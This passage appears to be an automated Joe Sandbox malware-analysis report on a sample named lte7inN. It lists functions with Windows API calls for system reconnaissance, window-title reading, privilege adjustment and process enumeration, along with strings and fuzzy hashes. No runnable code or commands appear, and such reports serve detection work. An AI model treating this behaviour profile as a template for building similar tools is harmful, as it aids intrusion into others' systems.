COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__allrem.LIBCMT ref: 10042776
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10042792
__allrem.LIBCMT ref: 100427A9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427C7
__allrem.LIBCMT ref: 100427DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 100427FC

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction ID: d5479bc1b746727abca6d8f9757406ec68e7b7bbf4155c34677e3b1bd49904a4
Opcode Fuzzy Hash: 5a632a87e7081925c05750c335bdd88a943fbf03be889ba1cf27fc3701b1fcbd
Instruction Fuzzy Hash: B481F376B01B06ABE710DE69CC82B5A73E9EF40764F71423EF510D7281EB70E9048B98

Function 6CA6F7DA Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 209COMMON

Download Yara Rule

Strings

NULL, xrefs: 6CA6F832
,%s, xrefs: 6CA6F9CC
.;C:\Astrolog\, xrefs: 6CA6F82C, 6CA6F831, 6CA6F84B

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID:
String ID: ,%s$.;C:\Astrolog\$NULL
API String ID: 0-2992153177
Opcode ID: 79ecfc3ec954937c4d82e88b3ffda824f7d9d707f07e9969c6fa35fd36222211
Instruction ID: 64951fc200f028b7b7f82aaee73435186b3e49dd093908fd6eea8e675e12c905
Opcode Fuzzy Hash: 79ecfc3ec954937c4d82e88b3ffda824f7d9d707f07e9969c6fa35fd36222211
Instruction Fuzzy Hash: 91712A7290915A5FCB11CF6A9C94BD9B7B8AB06318F2446FED055D3A91DB318AC9CF00

Function 6CA2404F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA41472: _sprintf.LIBCMT ref: 6CA414BC
Part of subcall function 6CA41472: _sprintf.LIBCMT ref: 6CA414E0

__CxxThrowException@8.LIBCMT ref: 6CA240AA

Part of subcall function 6CAB0FF1: KiUserExceptionDispatcher.NTDLL(?,?,6CAA5E3B,?,?,?,?,?,6CAA5E3B,?,6CB12DBC,6CB40A30), ref: 6CAB1033

_memset.LIBCMT ref: 6CA240C4
GetModuleFileNameA.KERNEL32(00000000,?,000000FF), ref: 6CA240D9
MessageBoxA.USER32(00000000,GameBegin,00000000,00000000), ref: 6CA240F4

Part of subcall function 6CA82A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\.as,?,?,6CA7DE40), ref: 6CA82A85
Part of subcall function 6CA82A72: SHDeleteKeyA.SHLWAPI(80000001,Software\Classes\Astrolog.as,?,?,6CA7DE40), ref: 6CA82A91

Part of subcall function 6CA365F4: _memset.LIBCMT ref: 6CA3662D
Part of subcall function 6CA365F4: _memset.LIBCMT ref: 6CA36643

Part of subcall function 6CA36B34: _memset.LIBCMT ref: 6CA36B68

Part of subcall function 6CAA2E33: _doexit.LIBCMT ref: 6CAA2E3F

Strings

GameBegin, xrefs: 6CA240EE

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _memset$Delete_sprintf$DispatcherExceptionException@8FileMessageModuleNameThrowUser_doexit
String ID: GameBegin
API String ID: 2408732992-2407867525
Opcode ID: a1b9bdd6ecdefed9f8ab466eba7bf7c4af76c2522837e6e333a119bc9ac5b6c8
Instruction ID: 799c1dae568803f2a8227c240fb70c4aa8059edd3c04fc78e6b7e9e6da9b0b0a
Opcode Fuzzy Hash: a1b9bdd6ecdefed9f8ab466eba7bf7c4af76c2522837e6e333a119bc9ac5b6c8
Instruction Fuzzy Hash: 6D21C4B06152699BDF209FB49A859DD76B8EB2530CB18043AE11DC3A00D73889CD8B61

Function 1001CAE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
lstrcpyW.KERNEL32(?,10077510,?,00000000,00000000), ref: 1001CB3D
wsprintfW.USER32 ref: 1001CB69
lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

Time, xrefs: 1001CB7C

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: Time
API String ID: 2137660125-3483776891
Opcode ID: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction ID: 3e6a45b9b470fbc869b3f012b6210870463603dc6c33235bc886a16c7cdcfef5
Opcode Fuzzy Hash: 0d86f43cf8aff1c96b5c1221564300b5aa5e20fb4681d5bdfc798f6ad99b5944
Instruction Fuzzy Hash: 43118FB5900228ABE714DB64CC8AFDB777CEB44601F0141A5F709E6142EF74AB88CBA4

Function 100514E0 Relevance: 7.9, APIs: 5, Instructions: 376timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10051562
_free.LIBCMT ref: 10051586
_free.LIBCMT ref: 10051715
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction ID: 5944b97e054a481ea07992aa34664951c7c548f22b03f4b78325800655bf825d
Opcode Fuzzy Hash: d2a1c661eeab8fe2ccda79241d1e7e9c5a7a17148dfb404b2796e1f3565e554a
Instruction Fuzzy Hash: 45C14675E042599FDB11CF78CC81AEE7BF9EF45250F2541AAE884D7282EB309E49C750

Function 1001CBA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000200), ref: 1001CBF5
lstrcpyW.KERNEL32(?,10077510,?,?,?,?,?,?), ref: 1001CC0B
wsprintfW.USER32 ref: 1001CC37

Strings

Remark, xrefs: 1001CC54, 1001CC78

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: Remark
API String ID: 2045598086-3865500943
Opcode ID: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction ID: b3f827b17ac0b056ac70bbdc4e75ce27e2abaede2ac2f1ecf34c5bf4031cd120
Opcode Fuzzy Hash: 41c774fbd50cdb4b117e5591b852dfc880d65e9c52b26308cb5e22cccdd32118
Instruction Fuzzy Hash: 1421A8B5D40218AAEB14D764CD46FCA73ADEB00701F404596F708BA182EFB5AB848BD4

Function 1000B9D0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 1000B9F0
GetTopWindow.USER32(00000000), ref: 1000B9FF
GetWindowTextLengthW.USER32(00000000), ref: 1000BA3C
GetWindowTextW.USER32(?,00000000,00000001), ref: 1000BA9E

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Window$Text$ForegroundLength
String ID:
API String ID: 1471897267-0
Opcode ID: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction ID: f5465e67f4ccfb34a7407618dca653fffe2592f44dfeaf943761977b0b72cbef
Opcode Fuzzy Hash: 3d17bf614a9b19a3ebe21ce52a279043732c0d42b8e04fd6304377340a176a11
Instruction Fuzzy Hash: F331B374A047059BD714CF28C81676BF7E9EF85644F008A1EF88A8B250EBB4EA448792

Function 10011A00 Relevance: 5.3, APIs: 4, Instructions: 294COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 10011D6C

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction ID: f3143f391f0517f03d2711e34f5f78023d9b528400ad956a5550ea6a7af18503
Opcode Fuzzy Hash: 29c01c5153810fce39ab4b27d04142ac06fe52652b89456ca7a689fc236b89a3
Instruction Fuzzy Hash: 8EA1F874E002199FEF24CFA4DC85BEE7BB6FF45354F104228E415AB292DB34A985CB61

Function 1001944C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 10019464

Part of subcall function 1001CAE0: GetComputerNameW.KERNEL32(?,00000200), ref: 1001CB27
Part of subcall function 1001CAE0: lstrcpyW.KERNEL32(?,10077510,?,00000000,00000000), ref: 1001CB3D
Part of subcall function 1001CAE0: wsprintfW.USER32 ref: 1001CB69
Part of subcall function 1001CAE0: lstrlenW.KERNEL32(?), ref: 1001CB73

Strings

+, xrefs: 10019DCD
tasktime, xrefs: 10019473

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: wsprintf$ComputerNamelstrcpylstrlen
String ID: +$tasktime
API String ID: 1932226818-2742412719
Opcode ID: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction ID: d866fd5828c63630ef7eb7cf9d4e4059614f1f7a34494511adf1fe88d1a7de53
Opcode Fuzzy Hash: a71690afc4177896275e162c754cac9cb1aa73dc16bf86ce23c540c854ca97f1
Instruction Fuzzy Hash: A2F09A319082689FCB15DB14EC4579AB764FB44214F0080AAE80AAB282DB786A94CB90

Function 6CA232F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(6CB4A988), ref: 6CA23314
CreateWindowExA.USER32(00000000,Message Window,00CF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 6CA2333F

Strings

Message Window, xrefs: 6CA23333

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: ClassCreateRegisterWindow
String ID: Message Window
API String ID: 3469048531-1814804990
Opcode ID: cd65f906710d308767e59f9118bf30ae7cb002a76250f37e9be2bed3aaca75d2
Instruction ID: 8833b538f44df6c84440cb19ae9b7286c6b11932f14558d4a1f4574686ffda45
Opcode Fuzzy Hash: cd65f906710d308767e59f9118bf30ae7cb002a76250f37e9be2bed3aaca75d2
Instruction Fuzzy Hash: 93E0E5F871A600FEEF08AB64CC0AF327A7CF346208B52C12DF44187618D67568819F30

Function 100516BD Relevance: 4.7, APIs: 3, Instructions: 173timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727
_free.LIBCMT ref: 10051715

Part of subcall function 1004D9B2: HeapFree.KERNEL32(00000000,00000000,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7), ref: 1004D9C8
Part of subcall function 1004D9B2: GetLastError.KERNEL32(10053BE7,?,1005AA7F,10053BE7,00000000,10053BE7,?,?,1005AD24,10053BE7,00000007,10053BE7,?,10058D36,10053BE7,10053BE7), ref: 1004D9DA

_free.LIBCMT ref: 100518E3

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 2155170405-0
Opcode ID: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction ID: ae1caa736d89166b0db1018e9d2eac3869d6e7b19e4e3805c26ca96c628e2ac8
Opcode Fuzzy Hash: 0a9afe676757fbac900952ed88f34385681e04743330df06d8487b9b6f66e1b8
Instruction Fuzzy Hash: BF51B475D04219ABEB11DBA98C819EE77FCFF44250B2146ABE454D7291EB30AE48CB50

Function 1005181A Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1005188D
_free.LIBCMT ref: 100518E3

Part of subcall function 100516BD: _free.LIBCMT ref: 10051715
Part of subcall function 100516BD: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1006A608), ref: 10051727

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: c015f96a86172428804c22dab89c8f003ee46ac2ac38053fcf19e22af9cc9150
Instruction ID: 769e4cc0021f4a8ee0288658ed8287d3b7955195c702cdf757401fe74b216e31
Opcode Fuzzy Hash: c015f96a86172428804c22dab89c8f003ee46ac2ac38053fcf19e22af9cc9150
Instruction Fuzzy Hash: 8E21C676C0422967E731D7259C81EEA77BCEB41760F2103A7E898E2191EF706DC98A94

Function 1000A920 Relevance: 4.6, APIs: 3, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 1000A96D
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 1000A995

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: AllocVirtual__floor_pentium4
String ID:
API String ID: 4174053956-0
Opcode ID: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction ID: 23107b6d779a8230bbb2392973feb2951df0fac37201d0ea6cbcca7204baf38b
Opcode Fuzzy Hash: ca2fadb11b78880022fd620a6bfc8c65ebc753ad8cf0125fa148e2bc209761ce
Instruction Fuzzy Hash: EF21F572704B149AE310DA39EC81A17F7E8EB453A1F014B3AFA86D6190EB71E890C791

Function 1000BB20 Relevance: 4.6, APIs: 3, Instructions: 75networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 1000BB53
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 1000BB6F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 1000BBB4

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: ByteCharMultiWide$gethostname
String ID:
API String ID: 2445153122-0
Opcode ID: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction ID: 6ae64a3ab1f62f0a90e46849d51f8ee7803add071dfa6f0a7ff8e62bf13427a4
Opcode Fuzzy Hash: 8220a0e5b3adec0511fb902189cbbe93e367e5842becd02a05235d6e5f907661
Instruction Fuzzy Hash: 6A217E705083549FE310CF24CC05BABB7E8FF89714F000A5EF99996290EBB4AA48C7D2

Function 6CA23FFB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6CA24005

Part of subcall function 6CA23021: _memset.LIBCMT ref: 6CA2304F
Part of subcall function 6CA23021: GetModuleFileNameA.KERNEL32(?,000000FF), ref: 6CA23124

Part of subcall function 6CA44AFA: _fgetc.LIBCMT ref: 6CA44B43
Part of subcall function 6CA44AFA: _sprintf.LIBCMT ref: 6CA44B6F

Strings

astrolog.as, xrefs: 6CA2400F

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: FileH_prolog3_catch_ModuleName_fgetc_memset_sprintf
String ID: astrolog.as
API String ID: 2788110157-2633699130
Opcode ID: 69460ec840625f931ed21c665703bd0f9568a175eed9ff5443bfed3936ac125f
Instruction ID: fd5a9071e39b1d732b5f1ad3d303cf7be3bb52627edccc8ff1705dc7f964da17
Opcode Fuzzy Hash: 69460ec840625f931ed21c665703bd0f9568a175eed9ff5443bfed3936ac125f
Instruction Fuzzy Hash: 22F03A7172A2708ADF249FB86AC449CBA70AB1664C318053ED15A87A40CB7884C8C751

Function 10020270 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71659396b64506a3f915f866e0e6d0d22f97fd8679baf7c5a502e18912562ded
Instruction ID: e7775b81cd5a67c59352e7e14569520216d341204271b2a9fcb849079d0047a8
Opcode Fuzzy Hash: 71659396b64506a3f915f866e0e6d0d22f97fd8679baf7c5a502e18912562ded
Instruction Fuzzy Hash: 7C31E2B2A007049BCB00CF68E8417DAF7E9EF55360F10822AF499D7651E775AA84CB90

Function 1001ED90 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CompareStringW.KERNELBASE(00000800,00000001,?,00000001,100772E4,00000001,00000000,?,1008D880,?,?,1001EF86), ref: 1001EDB5

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction ID: 4cdd57567af10c333d344e70a6ee3f7fe84ae6836bac624ff216e6e62135134a
Opcode Fuzzy Hash: 329863f654be77b7aa99de90060457f735ac7f351ea3de8cce6a6f4fc65d937a
Instruction Fuzzy Hash: A3F0FC33740316B7D620C58AAC85FD7B799E785755F0140AAF70C9F180DBE2984187D4

Function 10020310 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,10081068), ref: 10020361

Part of subcall function 10020580: LoadLibraryW.KERNEL32(100783F4,10081068,?,?,?,?,1002037D), ref: 100205B5

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: EventLibraryLoad
String ID:
API String ID: 298091905-0
Opcode ID: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction ID: e8bd7fe2e6ec80928e3e5f9c2cc51210f5708b32cd840354af321c6057caa1aa
Opcode Fuzzy Hash: 3b4ecae4166f1dad3b18585e05198afbb3260a52d15318504b17a8d368628590
Instruction Fuzzy Hash: 1E01B572D04748EBDB01CF98DD417DEF7B9FF1A214F108316F840B2251EB366A808A50

Function 6CAA24FA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 6CAA2507

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: c3d137601dff241d711bcfd7b25cf1de985144cbf307b08d618b1145b8660355
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 9AC09B7254110C77CF111E83DC05E553F199BC0664F444010FB1C195609673D9759585

Non-executed Functions

Function 10027530 Relevance: 87.9, APIs: 49, Strings: 1, Instructions: 437stringmemoryprocessCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,?,?,00000124), ref: 100275B4
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 100275BB
LookupPrivilegeValueA.ADVAPI32 ref: 100275EA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027604
GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 1002760A
CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027614
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,?,?,?,?,?,?,00000124), ref: 1002761E
